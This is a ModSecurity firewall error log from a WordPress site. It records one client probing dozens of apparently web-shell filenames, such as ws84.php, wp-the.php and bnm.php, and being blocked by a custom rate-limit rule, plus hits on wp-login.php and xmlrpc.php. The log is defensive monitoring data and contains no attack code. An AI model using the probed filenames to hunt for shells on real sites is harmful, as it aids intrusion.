[Fri Apr 10 23:57:22.213550 2026] [:error] [pid 13189:tid 13194] [client 20.251.194.172:47069] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "adkd4pAxiJKPums3eBAezQAAAEI"]
[Fri Apr 10 23:57:22.856181 2026] [:error] [pid 13189:tid 13211] [client 20.251.194.172:36253] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "adkd4pAxiJKPums3eBAe0gAAAFM"]
[Fri Apr 10 23:57:23.433045 2026] [:error] [pid 62710:tid 62731] [client 20.251.194.172:17988] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "adkd4-ME7qrf5xEWWJtRjAAAAhI"]
[Fri Apr 10 23:57:24.345532 2026] [:error] [pid 62884:tid 62896] [client 20.251.194.172:47067] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "adkd5OUCK1xrhnnmpo2ftQAAAsU"]
[Fri Apr 10 23:57:24.954332 2026] [:error] [pid 62710:tid 62734] [client 20.251.194.172:56707] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "adkd5OME7qrf5xEWWJtRjwAAAhU"]
[Fri Apr 10 23:57:25.736855 2026] [:error] [pid 63062:tid 63064] [client 20.251.194.172:36282] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/index.php"] [unique_id "adkd5Z2HtsmV85NqkMcY9QAAA4A"]
[Fri Apr 10 23:57:35.621794 2026] [:error] [pid 13189:tid 13203] [client 20.251.194.172:46811] [client 20.251.194.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.251.194.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "adkd75AxiJKPums3eBAe-wAAAEs"]
[Fri Apr 10 23:58:34.827182 2026] [:error] [pid 62769:tid 62790] [client 20.251.194.172:25757] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adkeKsWsSnfLoB8ifjDdcQAAAlM"]
[Fri Apr 10 23:58:35.986686 2026] [:error] [pid 63134:tid 63144] [client 20.251.194.172:56739] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adkeK9FALqPDwWi6eJLThgAAA8c"]
[Fri Apr 10 23:58:37.278590 2026] [:error] [pid 63134:tid 63158] [client 20.251.194.172:36227] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adkeLdFALqPDwWi6eJLTkwAAA9U"]
[Fri Apr 10 23:58:38.411300 2026] [:error] [pid 63134:tid 63156] [client 20.251.194.172:46805] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adkeLtFALqPDwWi6eJLTlQAAA9M"]
[Fri Apr 10 23:58:38.668189 2026] [:error] [pid 62651:tid 62670] [client 20.251.194.172:46835] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adkeLjbAH0le57SIaqw-ewAAAdE"]
[Fri Apr 10 23:58:39.260477 2026] [:error] [pid 62769:tid 62771] [client 20.251.194.172:47083] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adkeL8WsSnfLoB8ifjDdggAAAkA"]
[Fri Apr 10 23:58:39.807485 2026] [:error] [pid 62710:tid 62719] [client 20.251.194.172:56735] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adkeL-ME7qrf5xEWWJtR3wAAAgY"]
[Fri Apr 10 23:58:40.451329 2026] [:error] [pid 63134:tid 63155] [client 20.251.194.172:14597] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adkeMNFALqPDwWi6eJLTmAAAA9I"]
[Fri Apr 10 23:58:40.992857 2026] [:error] [pid 62769:tid 62790] [client 20.251.194.172:36258] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "adkeMMWsSnfLoB8ifjDdjQAAAlM"]
[Fri Apr 10 23:58:41.547846 2026] [:error] [pid 62710:tid 62725] [client 20.251.194.172:25640] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "adkeMeME7qrf5xEWWJtR4wAAAgw"]
[Fri Apr 10 23:58:42.272029 2026] [:error] [pid 62769:tid 62775] [client 20.251.194.172:18278] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "adkeMsWsSnfLoB8ifjDdkgAAAkQ"]
[Fri Apr 10 23:58:42.811674 2026] [:error] [pid 62769:tid 62794] [client 20.251.194.172:56762] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "adkeMsWsSnfLoB8ifjDdlwAAAlc"]
[Fri Apr 10 23:58:43.610635 2026] [:error] [pid 62769:tid 62782] [client 20.251.194.172:18258] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "adkeM8WsSnfLoB8ifjDdnwAAAks"]
[Fri Apr 10 23:58:44.177537 2026] [:error] [pid 62710:tid 62733] [client 20.251.194.172:17996] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "adkeNOME7qrf5xEWWJtR5gAAAhQ"]
[Fri Apr 10 23:58:44.715637 2026] [:error] [pid 62710:tid 62723] [client 20.251.194.172:46815] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "adkeNOME7qrf5xEWWJtR6QAAAgo"]
[Fri Apr 10 23:58:45.239452 2026] [:error] [pid 63062:tid 63073] [client 20.251.194.172:56763] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "adkeNZ2HtsmV85NqkMcZHgAAA4k"]
[Fri Apr 10 23:58:45.772727 2026] [:error] [pid 13100:tid 13127] [client 20.251.194.172:25624] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "adkeNVzg-ZkZ0InWIP3W4gAAARY"]
[Fri Apr 10 23:58:46.307965 2026] [:error] [pid 63062:tid 63081] [client 20.251.194.172:18281] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "adkeNp2HtsmV85NqkMcZHwAAA5E"]
[Fri Apr 10 23:58:46.864475 2026] [:error] [pid 13101:tid 13150] [client 20.251.194.172:47088] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "adkeNt8Ldw85818pj2ovIwAAAJE"]
[Fri Apr 10 23:58:47.405516 2026] [:error] [pid 13101:tid 13153] [client 20.251.194.172:31999] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "adkeN98Ldw85818pj2ovJwAAAJQ"]
[Fri Apr 10 23:58:48.676270 2026] [:error] [pid 13189:tid 13201] [client 20.251.194.172:18262] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "adkeOJAxiJKPums3eBAfzwAAAEk"]
[Fri Apr 10 23:58:49.321944 2026] [:error] [pid 62769:tid 62776] [client 20.251.194.172:36054] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "adkeOcWsSnfLoB8ifjDdrwAAAkU"]
[Fri Apr 10 23:58:49.878310 2026] [:error] [pid 62710:tid 62722] [client 20.251.194.172:47060] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "adkeOeME7qrf5xEWWJtR9QAAAgk"]
[Fri Apr 10 23:58:50.510010 2026] [:error] [pid 13189:tid 13215] [client 20.251.194.172:46785] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "adkeOpAxiJKPums3eBAf0wAAAFc"]
[Fri Apr 10 23:58:51.056593 2026] [:error] [pid 63134:tid 63155] [client 20.251.194.172:18006] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "adkeO9FALqPDwWi6eJLToAAAA9I"]
[Fri Apr 10 23:58:52.349734 2026] [:error] [pid 63062:tid 63069] [client 20.251.194.172:37586] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "adkePJ2HtsmV85NqkMcZJwAAA4U"]
[Fri Apr 10 23:58:53.238548 2026] [:error] [pid 62769:tid 62795] [client 20.251.194.172:47042] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "adkePcWsSnfLoB8ifjDdwQAAAlg"]
[Fri Apr 10 23:58:54.037324 2026] [:error] [pid 62769:tid 62773] [client 20.251.194.172:18029] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "adkePsWsSnfLoB8ifjDdxAAAAkI"]
[Fri Apr 10 23:58:54.681840 2026] [:error] [pid 62710:tid 62737] [client 20.251.194.172:63824] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "adkePuME7qrf5xEWWJtR-gAAAhg"]
[Fri Apr 10 23:58:55.588725 2026] [:error] [pid 62819:tid 62842] [client 20.251.194.172:47698] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "adkeP_U20EyPf7NlsleLxQAAApQ"]
[Fri Apr 10 23:58:56.565934 2026] [:error] [pid 13189:tid 13215] [client 20.251.194.172:46834] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "adkeQJAxiJKPums3eBAf4QAAAFc"]
[Fri Apr 10 23:58:57.438500 2026] [:error] [pid 62884:tid 62909] [client 20.251.194.172:25756] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "adkeQeUCK1xrhnnmpo2f7AAAAtI"]
[Fri Apr 10 23:58:59.000668 2026] [:error] [pid 62819:tid 62831] [client 20.251.194.172:14625] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adkeQvU20EyPf7NlsleLyQAAAok"]
[Fri Apr 10 23:59:00.303316 2026] [:error] [pid 13189:tid 13196] [client 20.251.194.172:36264] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adkeRJAxiJKPums3eBAf9gAAAEQ"]
[Fri Apr 10 23:59:00.970258 2026] [:error] [pid 13189:tid 13214] [client 20.251.194.172:17987] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adkeRJAxiJKPums3eBAf_QAAAFY"]
[Fri Apr 10 23:59:01.760285 2026] [:error] [pid 62769:tid 62792] [client 20.251.194.172:18019] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "adkeRcWsSnfLoB8ifjDdzAAAAlU"]
[Fri Apr 10 23:59:02.913149 2026] [:error] [pid 13101:tid 13139] [client 20.251.194.172:37568] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "adkeRt8Ldw85818pj2ovLQAAAIY"]
[Fri Apr 10 23:59:04.011919 2026] [:error] [pid 13100:tid 13124] [client 20.251.194.172:25634] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "adkeSFzg-ZkZ0InWIP3W7QAAARM"]
[Fri Apr 10 23:59:04.647835 2026] [:error] [pid 62769:tid 62790] [client 20.251.194.172:25749] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "adkeSMWsSnfLoB8ifjDd9wAAAlM"]
[Fri Apr 10 23:59:06.067589 2026] [:error] [pid 62710:tid 62735] [client 20.251.194.172:18271] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/file.php"] [unique_id "adkeSuME7qrf5xEWWJtSCwAAAhY"]
[Fri Apr 10 23:59:07.003979 2026] [:error] [pid 62769:tid 62774] [client 20.251.194.172:47095] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "adkeS8WsSnfLoB8ifjDeEAAAAkM"]
[Fri Apr 10 23:59:07.610088 2026] [:error] [pid 13100:tid 13123] [client 20.251.194.172:56712] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "adkeS1zg-ZkZ0InWIP3W7gAAARI"]
[Fri Apr 10 23:59:08.171835 2026] [:error] [pid 63134:tid 63140] [client 20.251.194.172:18282] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "adkeTNFALqPDwWi6eJLTrwAAA8M"]
[Fri Apr 10 23:59:08.693086 2026] [:error] [pid 62769:tid 62774] [client 20.251.194.172:25748] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "adkeTMWsSnfLoB8ifjDeGgAAAkM"]
[Fri Apr 10 23:59:10.493716 2026] [:error] [pid 63134:tid 63157] [client 20.251.194.172:25617] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "adkeTtFALqPDwWi6eJLTuAAAA9Q"]
[Fri Apr 10 23:59:11.394466 2026] [:error] [pid 62884:tid 62911] [client 20.251.194.172:30355] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "adkeT-UCK1xrhnnmpo2f_QAAAtQ"]
[Fri Apr 10 23:59:12.198702 2026] [:error] [pid 62884:tid 62915] [client 20.251.194.172:47090] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "adkeUOUCK1xrhnnmpo2f_gAAAtg"]
[Fri Apr 10 23:59:12.912324 2026] [:error] [pid 62884:tid 62912] [client 20.251.194.172:18257] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "adkeUOUCK1xrhnnmpo2gAAAAAtU"]
[Sat Apr 11 00:42:07.380190 2026] [:error] [pid 62710:tid 62734] [client 14.183.97.255:52554] [client 14.183.97.255] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.183.97.255, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adkoX-ME7qrf5xEWWJthoAAAAhU"]
